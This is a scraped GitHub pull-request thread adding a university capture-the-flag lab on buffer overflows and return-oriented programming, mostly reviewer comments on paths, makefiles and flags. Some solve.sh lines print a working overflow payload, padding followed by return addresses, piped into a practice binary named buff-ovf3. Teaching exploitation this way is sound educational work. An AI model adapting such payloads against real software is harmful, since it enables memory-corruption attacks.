chapters/memory-security/ctf: Add CTF lab #25

valudimi · 2024-08-29T02:48:32Z

Prerequisite Checklist

Read the contribution guidelines regarding submitting new changes to the project;
Tested your changes against relevant architectures and platforms;
Updated relevant documentation (if needed).

Description of changes

This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups.

github-actions · 2024-08-29T02:52:38Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

github-actions · 2024-08-29T03:10:10Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

teodutu

Things are looking well for the most part. Below are some things that are missing, besides my inline comments.

Some exercises are missing their source code, such as feeling-chained. You can find them here [1]. Add them to the solution/ folders so we don't lose them and have them all in one place.
Add the makefiles to all exercises because some of them define necessary compiler flags such as -fno-stack-protector
Provide the paths to all files that students must use. For example write task-name/support/binary instead of just binary.
Modify all flags to start with HSI_ instead of iocla_ and then use obfuscate.c [2] to embed it in the source code. I'm not sure whether to add the contents of [2] to every task's solution/ folder or not. Let's not do this for now since this tool is also used for CTFs which need to be private because they are contests. We can always add it later if needed.

[1] https://github.com/systems-cs-pub-ro/iocla-internal/tree/master/laboratoare/content/ctf/sol
[2] https://github.com/systems-cs-pub-ro/iocla-internal/tree/master/comunitate/ctf/obfuscator

chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md

chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md

chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md

teodutu · 2024-09-05T02:55:33Z

Don't forget to add the sources for the binaries so we have them all in one place.

github-actions · 2024-09-11T22:13:18Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

github-actions · 2024-09-12T03:37:27Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

github-actions · 2024-09-12T07:42:02Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

teodutu

Things are looking considerably better now and the solutions are clear and straightforward. GG! My inline comments now focus on smaller details, but most of them apply to all tasks.

chapters/memory-security/ctf/drills/tasks/feeling-chained/support/Makefile

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md

chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3

teodutu · 2024-09-14T04:06:12Z

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md

@@ -0,0 +1,30 @@
+# Solution
+
+In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:


Replace "previous exercise" with [hidden-in-plain-sight-1](link/to/hidden-in-plain-sight-1).

chapters/memory-security/ctf/drills/tasks/rop/solution/README.md

teodutu · 2024-09-14T04:41:16Z

chapters/memory-security/ctf/drills/tasks/rop/solution/README.md

Add an image to showcase the stack after sending the payload: which values point to gadgets and which numbers are popped into register. Use https://app.diagrams.net/ to create and save it in .SVG format.

On second thought, this might not be needed.

teodutu · 2024-09-14T04:52:17Z

chapters/memory-security/ctf/reading/README.md

+In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
+These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.
+
+## Return Oriented Programming


You need to expand on what gadgets are and what ROPs do. I created the image below for a ROP demo I made the other day. You can use it as a start. Explain what happens step by step, which value on the stack goes where and it should be clearer.

Bump on this though. This would be of great use. You already have the image above, just add some text to walk students through it.

This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups. Signed-off-by: Dimitrie Valu <[email protected]>

github-actions · 2024-10-02T18:53:08Z

Published at https://cs-pub-ro.github.io/hardware-software-interface/25/

teodutu

I only made suggestions that should be applied to all solve.shs. Don't worry about the line length. Don't worry about the line length.

teodutu · 2024-10-04T07:53:05Z

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+


Suggested change

# SPDX-License-Identifier: BSD-3-Clause

teodutu · 2024-10-04T09:33:52Z

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3


Suggested change

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ../support/buff-ovf3

Use the relative path to the binary so the script can be run directly from here.

teodutu · 2024-10-04T12:29:34Z

chapters/memory-security/ctf/drills/tasks/rop/solution/README.md

On second thought, this might not be needed.

teodutu · 2024-10-04T12:31:11Z

chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh

Make this file executable

teodutu · 2024-10-04T12:31:50Z

chapters/memory-security/ctf/reading/README.md

+In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
+These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.
+
+## Return Oriented Programming


Bump on this though. This would be of great use. You already have the image above, just add some text to walk students through it.

NickZaharia308

Looks great! 👍
Address the changes made by Teo Dutu and everything should be fine.

valudimi added needs-rendering The PR makes changes to the website that need to be rendered topic/memory-security Related to the "Memory Security" chapter kind/new New content / item labels Aug 29, 2024

valudimi requested review from teodutu, Dave080302 and NickZaharia308 August 29, 2024 02:48

valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Aug 29, 2024

valudimi force-pushed the ctf branch 7 times, most recently from 4d8df52 to ae57d78 Compare August 29, 2024 04:13

teodutu requested changes Aug 29, 2024

View reviewed changes

github-actions bot added area/infra Update to infrastructure area/reading Update to reading material area/tasks Update to tasks kind/improve Improve / update existing content / item labels Aug 29, 2024

valudimi force-pushed the ctf branch 4 times, most recently from 35c21ec to c2e5f6b Compare September 4, 2024 03:35

valudimi force-pushed the ctf branch 3 times, most recently from 868fcb1 to 9780701 Compare September 11, 2024 13:42

valudimi force-pushed the ctf branch 3 times, most recently from b5482b1 to d067509 Compare September 12, 2024 03:32

valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Sep 12, 2024

valudimi force-pushed the ctf branch 11 times, most recently from 81e87f2 to 9b0cd80 Compare September 12, 2024 06:09

valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Sep 12, 2024

teodutu requested changes Sep 14, 2024

View reviewed changes

valudimi force-pushed the ctf branch from 9b0cd80 to ba620e3 Compare September 14, 2024 11:53

chapters/memory-security/ctf: Add CTF lab

bf57cb8

This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups. Signed-off-by: Dimitrie Valu <[email protected]>

valudimi force-pushed the ctf branch from ba620e3 to bf57cb8 Compare September 14, 2024 11:57

NickZaharia308 added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Oct 2, 2024

teodutu requested changes Oct 4, 2024

View reviewed changes

NickZaharia308 requested changes Oct 6, 2024

View reviewed changes

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chapters/memory-security/ctf: Add CTF lab #25

chapters/memory-security/ctf: Add CTF lab #25

valudimi commented Aug 29, 2024

github-actions bot commented Aug 29, 2024

github-actions bot commented Aug 29, 2024

teodutu left a comment •

edited

Loading

teodutu commented Sep 5, 2024

github-actions bot commented Sep 11, 2024

github-actions bot commented Sep 12, 2024

github-actions bot commented Sep 12, 2024

teodutu left a comment

teodutu Sep 14, 2024

teodutu Sep 14, 2024

teodutu Oct 4, 2024

teodutu Sep 14, 2024

teodutu Oct 4, 2024

github-actions bot commented Oct 2, 2024

teodutu left a comment

teodutu Oct 4, 2024

teodutu Oct 4, 2024

teodutu Oct 4, 2024

teodutu Oct 4, 2024

teodutu Oct 4, 2024

NickZaharia308 left a comment

		@@ -0,0 +1,30 @@
		# Solution

		In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:

		@@ -0,0 +1,3 @@
		#!/bin/bash

		python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' \| ./buff-ovf3

chapters/memory-security/ctf: Add CTF lab #25

Are you sure you want to change the base?

chapters/memory-security/ctf: Add CTF lab #25

Conversation

valudimi commented Aug 29, 2024

Prerequisite Checklist

Description of changes

github-actions bot commented Aug 29, 2024

github-actions bot commented Aug 29, 2024

teodutu left a comment • edited Loading

Choose a reason for hiding this comment

teodutu commented Sep 5, 2024

github-actions bot commented Sep 11, 2024

github-actions bot commented Sep 12, 2024

github-actions bot commented Sep 12, 2024

teodutu left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

github-actions bot commented Oct 2, 2024

teodutu left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

NickZaharia308 left a comment

Choose a reason for hiding this comment

teodutu left a comment •

edited

Loading